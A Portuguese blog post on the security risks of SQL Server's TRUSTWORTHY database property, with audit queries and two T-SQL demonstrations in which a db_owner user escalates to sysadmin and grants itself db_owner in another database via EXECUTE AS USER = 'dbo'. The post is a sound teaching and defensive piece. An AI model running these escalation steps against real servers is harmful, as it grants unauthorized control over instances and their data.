- Auditing in SQL Server (Server Audit)
- How to Create an Audit to Monitor Job Creation, Modification, and Deletion in SQL Server
- How to create an Audit trigger to log object manipulation in SQL Server
- SQL Server - How to implement login auditing and control (Logon Trigger)
- Monitoring DDL and DCL operations using SQL Server's fn_trace_gettable
- Using the standard SQL Server trace to audit events (fn_trace_gettable)
- SQL Server – Permissions and privileges audit trigger at database and instance level (GRANT and REVOKE)
- SQL Server - How to monitor and audit data changes in tables using Change Data Capture (CDC)
- SQL Server 2016 - How to "time travel" using the Temporal Tables feature
- SQL Server - How to use auditing to map actual required permissions on a user
- SQL Server - Trigger to prevent and prevent changes in tables
- SQL Server - How to Create a Data Change History for Your Tables (Audit Logs)
- SQL Server - How to avoid brute force attacks on your database
- SQL Server – Security Checklist – An SP with over 70 security items to validate your database
- SQL Server - How to know the last login date of a user
- SQL Server - How to avoid and protect yourself from Ransomware attacks like WannaCry on your database server
- SQL Server - Watch out for the securityadmin server role! Using elevation of privileges to become sysadmin
- SQL Server – How to avoid SQL Injection? Stop using Dynamic Query like EXEC(@Query). Now.
- SQL Server - Understanding the risks of the TRUSTWORTHY property enabled on a database
- SQL Server - Password Policies, Password Expiration, Mandatory Password Change and Login Blocking after several Attempts
- SQL Server - How to create a login audit using instance logs
Hey guys!
Em mais um artigo sobre segurança, que é o tema da minha palestra no MVPConf LATAM 2019, vou compartilhar com vocês os riscos da propriedade TRUSTWORTHY de um database no SQL Server, que é muito utilizado em ambientes que utilizam bibliotecas SQLCLR com nÃvel de permissão EXTERNAL_ACCESS ou UNRESTRICTED.
Se você tem uma biblioteca SQLCLR e habilitou a propriedade Trustworthy por causa disso, saiba que existem outras formas de se conseguir utilizar suas bibliotecas CLR sem precisar ativar essa propriedade, que é com uso de certificados e assinatura do Assembly no SQL Server. Em breve vou escrever um artigo sobre isso.
Para identificar os databases da sua instância que possuem essa propriedade habilitada, utilize a query abaixo:
1 2 3 |
SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1 |
E numa consulta um pouco mais elaborada, já podemos fazer a associação com assemblies SQLCLR e com os usuários que são db_owner nesses databases:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy CREATE TABLE #Bancos_Trustworthy ( [database_id] INT, [name] NVARCHAR(128), [owner_sid] VARBINARY(85), [db_owner_member] NVARCHAR(128), [state_desc] NVARCHAR(60), [is_trustworthy_on] BIT, [assembly_name] NVARCHAR(128), [permission_set_desc] NVARCHAR(60), [create_date] DATETIME ) INSERT INTO #Bancos_Trustworthy EXEC sys.sp_MSforeachdb ' SELECT A.database_id, A.[name], A.owner_sid, C.member_name, A.state_desc, A.is_trustworthy_on, B.[name] AS assembly_name, B.permission_set_desc, B.create_date FROM [?].sys.databases A LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1 OUTER APPLY ( SELECT B.[name] AS member_name FROM [?].sys.database_role_members A JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id WHERE C.[name] = ''db_owner'' AND C.is_fixed_role = 1 AND B.principal_id > 4 ) C WHERE A.is_trustworthy_on = 1 AND A.[name] = ''?''' SELECT * FROM #Bancos_Trustworthy |
Para que serve e qual o perigo do TRUSTWORTHY = ON?
A propriedade TRUSTWORTHY tem sim, seus benefÃcios, como a possibilidade de executar Stored Procedures com acesso externo em bibliotecas SQLCLR, mas vai além disso. Como o Luan Moreno explicou detalhadamente no seu artigo Porque Utilizar a Opção TRUSTWORTHY, essa propriedade, quando habilitada, permite que um objeto criado utilizando EXECUTE AS (ou até mesmo um comando ad-hoc) em um determinado database acesse dados de outro database.
Como a operação EXECUTE AS exige um nÃvel de confiabilidade muito grande (saiba sobre os riscos do EXECUTE AS clicando aqui neste link), o SQL Server bloqueia esse tipo de execução, que só é permitida retirando a cláusula EXECUTE AS desse objeto ou habilitando a propriedade TRUSTWORTHY no database onde o objeto está criado.
Mas qual é o risco de ter a propriedade TRUSTWORTHY habilitada em um database ? É justamente essa confiabilidade entre os databases.. rs
Meu ambiente tem o seguinte cenário: O usuário dirceu Dirceu_User faz parte dos membros da database role db_owner no banco CLR, que possui a propriedade Trustworthy habilitada. Esse usuário não está nem criado em outros databases e não possui nenhuma permissão a nÃvel de instância.
Vamos ver o que dá pra fazer nesse cenário.
Tentativa 1: Quero ser sysadmin!
Logo de cara no primeiro teste, vou tentar me aproveitar do banco ter a propriedade Trustworthy habilitada para me transformar em um usuário sysadmin. Isso será feito utilizando o usuário padrão dbo, para executar os comandos que eu preciso:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]; GO USE [CLR] GO EXECUTE AS USER = 'dbo' GO ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User] GO REVERT GO SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]; GO |
Resultado da execução: Agora sou sysadmin!
Já de cara deu pra entender o risco que essa propriedade traz pra gente né ? Imaginem um database com essa propriedade habilitada e o usuário de alguma aplicação esteja na role db_owner. Um SQL Injection simples pode fazer com o que invasor obtenha privilégio de sysadmin na instância, mesmo que o usuário da aplicação não seja sysadmin. Para saber mais sobre SQL Injection, dê uma lida no meu artigo SQL Server – Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query). Agora..
Tentativa 2: Quero ser db_owner de outros databases!
Nessa segunda tentativa, vou tentar criar meu usuário em outro database e me colocar como db_owner desse database também. Desta forma, um atacante consegue acesso a outros databases que existem na instância, não só no banco que ele conseguiu invadir.
Vamos tentar acessar o database “dirceuresende”, pois quero ler os dados que estão lá:
É, meu usuário não existe lá. Bom, vamos invadir então:
1 2 3 4 5 6 7 8 9 |
-- Mostra meu usuário e comprova que não sou sysadmin SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?] |
Vamos agora acessar o database “dirceuresende” através do EXECUTE AS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado USE [CLR] GO -- Mudo o contexto da execução para o usuário dbo (sysadmin por default) EXECUTE AS USER = 'dbo' GO -- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende" USE [dirceuresende] GO -- Confirmando que estou acessando o database "dirceuresende" SELECT DB_ID(), DB_NAME() GO |
Agora vou listar quem são os db_owners nesse database:
1 2 3 4 5 6 7 8 |
-- Listo quem são os usuários sysadmin SELECT C.[name] AS member_name FROM sys.database_role_members A JOIN sys.database_principals B ON A.role_principal_id = B.principal_id JOIN sys.database_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] = 'db_owner' AND B.is_fixed_role = 1 GO |
Começando a minha “invasão”, estou utilizando o contexto de execução do usuário dbo e com isso, posso criar meu usuário nesse database me adicionar na database role db_owner:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
-- Crio meu usuário nesse database CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User] GO -- Me autoadiciono na database role db_owner ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User] GO -- Volto para o database que eu executei o comando EXECUTE AS -- Msg 15199, Level 16, State 1, Line 46 -- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again. USE [CLR] GO -- Volto o contexto de execução para o usuário Dirceu_User REVERT GO |
Agora meu usuário é db_owner do database “dirceuresende” :). Não acredita? Vou provar.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
-- Mostra meu usuário e comprova que não sou sysadmin SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]; GO -- Agora consigo acessar esse database :) USE [dirceuresende] GO -- Confirmando que estou acessando o database "dirceuresende" SELECT DB_ID(), DB_NAME() GO -- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :) SELECT C.[name] AS member_name FROM sys.database_role_members A JOIN sys.database_principals B ON A.role_principal_id = B.principal_id JOIN sys.database_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] = 'db_owner' AND B.is_fixed_role = 1 GO |
Resultado final do meu ataque:
Bom pessoal, com esses 2 tipos de ataques demonstrados acima, acho que consegui expor alguns riscos de segurança ao se utilizar essa propriedade em ambientes de produção, especialmente em databases que são utilizados por aplicações e são suscetÃveis a ataques como SQL Injection e o atacante terá bem mais ferramentas para utilizar com essa propriedade habilitada no banco que ele está atacando.
Vale ressaltar que essa propriedade tem seus benefÃcios sim, conforme comentei no inÃcio da postagem, mas deve ter ativada com muito cuidado e consciência no ambiente. Esses exemplos que demonstrei são apenas alguns deles, mas podem ser feito N tipos de ataques diferentes explorando a brecha de segurança causada pela propriedade Trustworthy.
Se você tem uma biblioteca SQLCLR e habilitou a propriedade Trustworthy por causa disso, saiba que existem outras formas de se conseguir utilizar suas bibliotecas CLR sem precisar ativar essa propriedade, que é com uso de certificados e assinatura do Assembly no SQL Server. Em breve vou escrever um artigo sobre isso. Aguardem..
E para tranquilizar vocês, saibam que apenas usuários que estão na role sysadmin podem alterar a propriedade TRUSTWORTHY de um database. Nem mesmo o owner do DB ou os usuários que estão na role db_owner, podem alterar essa propriedade.
Referências:
- TRUSTWORTHY Database Property
- Porque Utilizar a Opção TRUSTWORTHY
- Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases
- Database ownership and TRUSTWORTHY
- Privilege Escalation to sysadmin via Trustworthy Database setting
And that's it, folks!
Espero que tenham gostado desse artigo e vocês comecem a levar a segurança do seu ambiente mais a sério. Se você está preocupado com a segurança do seu ambiente e quer a opinião de um especialista no assunto, solicite agora mesmo o Check-up GRATUITO do seu banco de dados + análise de segurança: Será que você precisa ?.
Forte Abraço e até a próxima!